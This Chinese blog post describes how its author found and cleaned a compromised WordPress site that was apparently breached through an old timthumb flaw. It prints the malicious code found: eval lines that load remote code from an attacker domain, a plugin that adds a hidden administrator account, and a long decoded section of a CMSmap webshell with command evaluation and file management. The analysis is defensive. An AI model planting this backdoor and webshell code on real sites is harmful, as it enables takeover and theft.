这个博客是2015年创建的,今年是2024年很快就要到10年。当时随便从网上找了个主题就没再管它,这些年一直都是修修补补断断续续的升级,遇到报错就自己修掉。想着只要还能凑合用没大问题就行,到过年的时候放假重新做镜像化或者改成静态页什么的方式弄个新技术栈博客。但计划赶不上变化啊,今天本来要写minikube的记录,但打开博客发现速度巨慢,统计时间总是60s上下
尝试重启了apache2、mysql、甚至整个服务器后依然没用。这时候才怀疑是不是被黑了。
根据curl本地测试结果,和远程效果一致可排除腾讯云网络问题。打开apache2日志没发现明显报错,但下面的日志引起了我的注意
0 1 |
[Sat Dec 14 17:12:54.201799 2024] [php:warn] [pid 15305] [client 106.8.136.162:44567] PHP Warning: file_get_contents(http://10.gxc42.com/x/jsc.txt): Failed to open stream: Connection timed out in /var/www/html/wordpress/wp-includes/comment.php on line 1432 |
这个域名既不是我网站的,我也没什么印象。实际测了下目前服务器的网络是打不开这个地址的。根据这行日志说的查看comment.php内容
0 1 2 |
-rw-r--r-- 1 www-data www-data 127K Oct 12 11:32 comment.php ./wp-includes/comment.php:ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2pzYy50eHQ='))); |
根据相似的base64搜索还能发现
0 1 2 |
-rw-r--r-- 1 www-data www-data 129 Oct 12 11:46 delist.php ./wp-content/delist.php:<?php ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2piLnR4dA==')));?> |
解码后内容是
0 1 2 3 |
http://10.gxc42.com/x/jb.txt http://10.gxc42.com/x/jsc.txt |
就是这俩文件超时导致变卡的,删掉这两行代码后速度恢复了。对比上一次备份的文件发现没这个内容,怎么写进去的呢?
看了腾讯云的面板和邮件,没有看到异常
用命令行查询最近修改过的文件如下
0 1 2 3 4 5 6 7 |
-rw-r--r-- 1 www-data www-data 1.9K Nov 27 13:45 ./wp-content/plugins/izgidnh/index.php -rw-r--r-- 1 www-data www-data 690 Nov 27 13:44 ./wp-content/plugins/faeqkmh/index.php -rw-r--r-- 1 www-data www-data 60K Nov 27 13:44 ./wp-content/plugins/faeqkmh/log.zip -rw-r--r-- 1 www-data www-data 690 Dec 2 07:27 ./wp-content/plugins/cncyoue/index.php -rw-r--r-- 1 www-data www-data 60K Dec 2 07:27 ./wp-content/plugins/cncyoue/log.zip -rw-r--r-- 1 www-data www-data 1.9K Dec 2 07:27 ./wp-content/plugins/bamqzxw/index.php -rw------- 1 www-data www-data 1.5K Dec 13 13:16 ./wp-content/themes/quench/cache/timthumb_int_a25adf7137af4d24a49234ee25e1bd09.timthumb.txt |
可以看到多了一些莫名其妙的插件和cache,打开其中一个php可以看到
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
$patha = dirname(__FILE__) . '/'; $path = false; if(strpos($patha,'wp-content') !== false){ $path = explode('wp-content',$patha); $path = trim($path[0]); } if(strpos($patha,'wp-includes') !== false){ $path = explode('wp-includes',$patha); $path = trim($path[0]); } if(strpos($patha,'wp-admin') !== false){ $path = explode('wp-admin',$patha); $path = trim($path[0]); } if($path == false){ $path = $patha; } include($path.'wp-blog-header.php'); $userr = $table_prefix.'users'; $user_loginv = 'adminlin'; $aaa = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'"); if(empty($aaa)){ $wpdb->insert($table_prefix.'users', array( 'ID' => null, 'user_login' => $user_loginv, 'user_pass' =>'57a48cf5883989417e6c0583c87ceb40', 'user_nicename' =>$user_loginv, 'user_email' =>'admin@admin.com', 'user_url' =>$user_loginv, 'user_registered' =>'2012-08-03 01:24:01', 'user_activation_key' =>'', 'user_status' =>'0', 'display_name' =>$user_loginv ) ); $userx = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'"); $wp_user_object = new WP_User($userx->ID); $wp_user_object->set_role( 'administrator' ); $siteurl = $wpdb->get_row("SELECT * FROM `".$table_prefix.'options'."` WHERE option_name = 'siteurl'"); echo $siteurl->option_value.'|'.$user_loginv.'|'; }else{ echo 'false'; } ?> |
它不仅写入了新用户,还给自己加了管理员权限。按这个用户名手动去数据库删掉它
其他php中包含了一个log.zip,但实际内容却是php代码
可以看到是来自于https://github.com/m7x/cmsmap/的webshell
0 1 2 3 4 5 6 7 8 9 10 11 |
<?php /** * Plugin Name: CMSmap - WordPress Shell * Plugin URI: https://github.com/m7x/cmsmap/ * Description: Simple WordPress Shell - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program. * Version: 1.0 * Author: CMSmap * Author URI: https://github.com/m7x/cmsmap/ * License: GPLv2 */ ?> |
后面的内容虽然做了层层编码,但最后一行才是执行入口
0 1 2 3 |
$PHP=Create_Function('',$filename); //$PHP(); echo $filename |
删了它改成打印文本即可看到原始内容,最后又是套娃
0 1 |
eval(gzuncompress(base64_decode(xxxxxxxxxxxxxx)); |
删掉eval可避免实际执行代码
0 1 |
$result=gzuncompress(base64_decode('xxxxxxxxx'));echo $result; |
打印结果如下,可以看到是一个webshell,讽刺的是这时候腾讯发来了邮件警告。合着前面的编码都是为了骗过腾讯云的检测啊,简单的套两层编码就能绕过云厂商的检测也是醉了。。。。
安全起见完整文件这里就不放了
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 |
ob_start(); define('myaddress',$_SERVER['SCRIPT_FILENAME']); define('postpass',$password); define('shellname',$shellname); define('myurl',$myurl); if(@get_magic_quotes_gpc()){ foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v); foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); } if(isset($_REQUEST[postpass])){ hmlogin(2); @eval($_REQUEST[postpass]); exit;} if($_COOKIE['postpass'] != md5(postpass)){ if($_POST['postpass']){ if($_POST['postpass'] == postpass){ setcookie('postpass',md5($_POST['postpass'])); hmlogin(); }else{ echo '<CENTER>�û����������</CENTER>'; } } islogin($shellname,$myurl); exit; } if(isset($_GET['down'])) do_down($_GET['down']); if(isset($_GET['pack'])){ $dir = do_show($_GET['pack']); $zip = new eanver($dir); $out = $zip->out; do_download($out,$_SERVER['HTTP_HOST'].".tar.gz"); } if(isset($_GET['unzip'])){ css_main(); start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']); exit; } define('root_dir',str_replace('\\','/',dirname(myaddress)).'/'); define('run_win',substr(PHP_OS, 0, 3) == "WIN"); define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME'])); $eanver = isset($_GET['eanver']) ? $_GET['eanver'] : ""; $doing = isset($_POST['doing']) ? $_POST['doing'] : ""; $path = isset($_GET['path']) ? $_GET['path'] : root_dir; $name = isset($_POST['name']) ? $_POST['name'] : ""; $img = isset($_GET['img']) ? $_GET['img'] : ""; $p = isset($_GET['p']) ? $_GET['p'] : ""; $pp = urlencode(dirname($p)); if($img) css_img($img); if($eanver == "phpinfo") die(phpinfo()); if($eanver == 'logout'){ setcookie('postpass',null); die('<meta http-equiv="refresh" content="0;URL=?">'); } $class = array( "��Ϣ����" => array("upfiles" => "�ϴ��ļ�","phpinfo" => "������Ϣ","info_f" => "ϵͳ��Ϣ","phpcode" => "ִ��PHP�ű�"), "��Ȩ����" => array("sqlshell" => "ִ��SQLִ��","mysql_exec" => "MYSQL����","myexp" => "MYSQL��Ȩ","servu" => "Serv-U��Ȩ","cmd" => "ִ������","linux" => "������Ȩ","downloader" => "�ļ�����","port" => "�˿�ɨ��"), "��������" => array("guama" => "������������","tihuan" => "�����滻����","scanfile" => "���������ļ�","scanphp" => "��������ľ��"), "�ű����" => array("getcode" => "���ߴ���") ); $msg = array("0" => "����ɹ�","1" => "����ʧ��","2" => "�ϴ��ɹ�","3" => "�ϴ�ʧ��","4" => "�ijɹ�","5" => "��ʧ��","6" => "ɾ���ɹ�","7" => "ɾ��ʧ��"); css_main(); switch($eanver){ case "left": css_left(); html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items1');\" target=\"_self\">"); html_img("title");html_n(" ����Ӳ��</a></dt><dd id=\"items1\" style=\"display:block;\"><ul>"); $ROOT_DIR = File_Mode(); html_n("<li><a title='$ROOT_DIR' href='?eanver=main&path=$ROOT_DIR' target='main'>��վ��Ŀ¼</a></li>"); html_n("<li><a href='?eanver=main' target='main'>������Ŀ¼</a></li>"); for ($i=66;$i<=90;$i++){$drive= chr($i).':'; if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive; html_n("<li><a title='$drive' href='?eanver=main&path=$drive' target='main'>���ش���($drive)</a></li>");}} html_n("</ul></dd></dl>"); $i = 2; foreach($class as $name => $array){ html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">"); html_img("title");html_n(" $name</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>"); foreach($array as $url => $value){ html_n("<li><a href=\"?eanver=$url\" target='main'>$value</a></li>"); } html_n("</ul></dd></dl>"); $i++; } html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">"); html_img("title");html_n(" ��������</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>"); html_n("<li><a title='��ȫ�˳�' href='?eanver=logout' target=\"main\">��ȫ�˳�</a></li>"); html_n("</ul></dd></dl>"); html_n("</div>"); break; case "main": css_js("1"); $dir = @dir($path); $REAL_DIR = File_Str(realpath($path)); if(!empty($_POST['actall'])){echo '<div class="actall">'.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'</div>';} $NUM_D = $NUM_F = 0; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $ROOT_DIR = File_Mode(); html_n("<table width=\"100%\" border=0 bgcolor=\"#555555\"><tr><td><form method='GET'>��ַ:<input type='hidden' name='eanver' value='main'>"); html_n("<input type='text' size='80' name='path' value='$path'> <input type='submit' value='ת��'></form>"); html_n("<br><form method='POST' enctype=\"multipart/form-data\" action='?eanver=editr&p=".urlencode($path)."'>"); html_n("<input type=\"button\" value=\"�½��ļ�\" onclick=\"rusurechk('newfile.php','?eanver=editr&p=".urlencode($path)."&refile=1&name=');\"> <input type=\"button\" value=\"�½�Ŀ¼\" onclick=\"rusurechk('newdir','?eanver=editr&p=".urlencode($path)."&redir=1&name=');\">"); html_input("file","upfilet",""," "); html_input("submit","uploadt","�ϴ�"); if(!empty($_POST['newfile'])){ if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb"; $newfile=base64_decode($_POST['newfile']); if(strtolower($_POST['charset'])=='utf-8'){$txt=base64_decode($_POST['txt']);}else{$txt=$_POST['txt'];} if (substr(PHP_VERSION,0,1)>=5){if((strtolower($_POST['charset'])=='gb2312') or (strtolower($_POST['charset'])=='gbk')){$txt=iconv("UTF-8","gb2312//IGNORE" ,base64_decode($_POST['txt']));}else{$txt = array_iconv($txt);}} echo do_write($newfile,$bin,$txt) ? '<br>'.$newfile.' '.$msg[0] : '<br>'.$newfile.' '.$msg[1]; @touch($newfile,@strtotime($_POST['time'])); } html_n('</form></td></tr></table><form method="POST" name="fileall" id="fileall" action="?eanver=main&path='.$path.'"><table width="100%" border=0 bgcolor="#555555"><tr height="25"><td width="45%"><b>'); html_a('?eanver=main&path='.uppath($path),'<b>�ϼ�Ŀ¼</b>'); html_n('</b></td><td align="center" width="10%"><b>����</b></td><td align="center" width="5%"><b>�ļ�����</b></td>'); html_n('<td align="center" width="8%"><b>('.get_current_user().')�û�|��</b></td>'); html_n('<td align="center" width="10%"><b>��ʱ��</b></td><td align="center" width="10%"><b>�ļ���С</b></td></tr>'); while($dirs = @$dir->read()){ if($dirs == '.' or $dirs == '..') continue; $dirpath = str_path("$path/$dirs"); if(is_dir($dirpath)){ $perm = substr(base_convert(fileperms($dirpath),10,8),-4); $filetime = @date('Y-m-d H:i:s',@filemtime($dirpath)); $dirpath = urlencode($dirpath); html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$dirs.'">'); html_img("dir"); html_a('?eanver=main&path='.$dirpath,$dirs); html_n('</td><td align="center">'); html_n("<a href=\"#\" onClick=\"rusurechk('$dirs','?eanver=rename&p=$dirpath&newname=');return false;\">����</a>"); html_n("<a href=\"#\" onClick=\"rusuredel('$dirs','?eanver=deltree&p=$dirpath');return false;\">ɾ��</a> "); html_a('?pack='.$dirpath,'���'); html_n('</td><td align="center">'); html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm); html_n('</td><td align="center">'.GetFileOwner("$path/$dirs").':'.GetFileGroup("$path/$dirs")); html_n('</td><td align="center">'.$filetime.'</td><td align="right">'); html_n('</td></tr>'); $NUM_D++; } } @$dir->rewind(); while($files = @$dir->read()){ if($files == '.' or $files == '..') continue; $filepath = str_path("$path/$files"); if(!is_dir($filepath)){ $fsize = @filesize($filepath); $fsize = File_Size($fsize); $perm = substr(base_convert(fileperms($filepath),10,8),-4); $filetime = @date('Y-m-d H:i:s',@filemtime($filepath)); $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath); $todir=$ROOT_DIR.'/zipfile'; $filepath = urlencode($filepath); $it=substr($filepath,-3); html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$files.'">'); html_img(css_showimg($files)); html_a($Fileurls,$files,'target="_blank"'); html_n('</td><td align="center">'); if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z')) html_a('?unzip='.$filepath,'��ѹ','title="��ѹ'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"'); else html_a('?eanver=editr&p='.$filepath,'�༭','title="�༭'.$files.'"'); html_n("<a href=\"#\" onClick=\"rusurechk('$files','?eanver=rename&p=$filepath&newname=');return false;\">����</a>"); html_n("<a href=\"#\" onClick=\"rusuredel('$files','?eanver=del&p=$filepath');return false;\">ɾ��</a> "); html_n("<a href=\"#\" onClick=\"rusurechk('".urldecode($filepath)."','?eanver=copy&p=$filepath&newcopy=');return false;\">����</a>"); html_n('</td><td align="center">'); html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm); html_n('</td><td align="center">'.GetFileOwner("$path/$files").':'.GetFileGroup("$path/$files")); html_n('</td><td align="center">'.$filetime.'</td><td align="right">'); html_a('?down='.$filepath,$fsize,'title="����'.$files.'"'); html_n('</td></tr>'); $NUM_F++; } } @$dir->close(); if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8); print<<<END </table> <div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> <input type="hidden" id="inver" name="inver" value="undefined"> <input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> <input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$REAL_DIR}','a');return false;"> <input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;"> <input type="button" value="����" onclick="SubmitUrl('����ѡ�ļ�����ֵΪ: ','0666','c');return false;"> <input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;"> <input type="button" value="���" onclick="SubmitUrl('�����������ѡ�ļ�������Ϊ: ','{$_SERVER['SERVER_NAME']}.tar.gz','e');return false;"> Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div> </form> END; break; case "editr": print<<<END <script> END; html_base(); print<<<END </script> END; css_js("2"); if(!empty($_POST['uploadt'])){ echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]); die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">'); } if(!empty($_GET['redir'])){ $name=$_GET['name']; $newdir = str_path($p.'/'.$name); @mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]); die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">'); } if(!empty($_GET['refile'])){ $name=$_GET['name']; $jspath=urlencode($p.'/'.$name); $pp = urlencode($p); $p = str_path($p.'/'.$name); $FILE_CODE = ""; $charset= 'GB2312'; $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8); if(@file_exists($p)) echo '����Ŀ¼����"ͬ��"�ļ�<br>'; }else{ $jspath=urlencode($p); $FILE_TIME = date('Y-m-d H:i:s',filemtime($p)); $FILE_CODE=@file_get_contents($p); if (substr(PHP_VERSION,0,1)>=5){ if(empty($_GET['charset'])){ if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';} }else{ if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);} } } $FILE_CODE = htmlspecialchars($FILE_CODE); } print<<<END <div class="actall">��������: <input name="searchs" type="text" value="{$dim}" style="width:500px;"> <input type="button" value="����" onclick="search(searchs.value)"></div> <form method='POST' id="editor" action='?eanver=main&path={$pp}'> <div class="actall"> <input type="text" name="newfile" id="newfile" value="{$p}" style="width:750px;">ָ�����룺<input name="charset" id="charset" value="{$charset}" Type="text" style="width:80px;" onkeydown="if(event.keyCode==13)window.location='?eanver=editr&p={$jspath}&charset='+this.value;"> <input type="button" value="ѡ��" onclick="window.location='?eanver=editr&p={$jspath}&charset='+this.form.charset.value;" style="width:50px;"> END; html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\""); print<<<END </div> <div class="actall"><textarea name="txt" id="txt" style="width:100%;height:380px;">{$FILE_CODE}</textarea></div> <div class="actall">�ļ���ʱ�� <input type="text" name="time" id="mtime" value="{$FILE_TIME}" style="width:150px;"> <input type="checkbox" name="bin" value="wb+" size="" checked>�Զ�������ʽ�����ļ�(����ʹ��)</div> <div class="actall"><input type="button" value="����" onclick="CheckDate();" style="width:80px;"><input name='reset' type='reset' value='����'> <input type="button" value="����" onclick="window.location='?eanver=main&path={$pp}';" style="width:80px;"></div> </form> END; ob_end_flush(); |
再看最开始cache下的文件怎么来的呢?首先怀疑的就是timthumb.php,阅读代码逻辑可发现cache文件夹就是它放缓存文件的地方。
参考https://seclists.org/fulldisclosure/2014/Jun/117可以知道这是个很多年前的rce了
倒霉的是不知道为什么快10年了都没被扫到,最近才被人利用
二进制分析不是我的强项,有没有懂二进制安全的大佬分析下这个文件行为是啥,用在线攻击也扫不出问题
可私聊我获取原始文件
0 Comments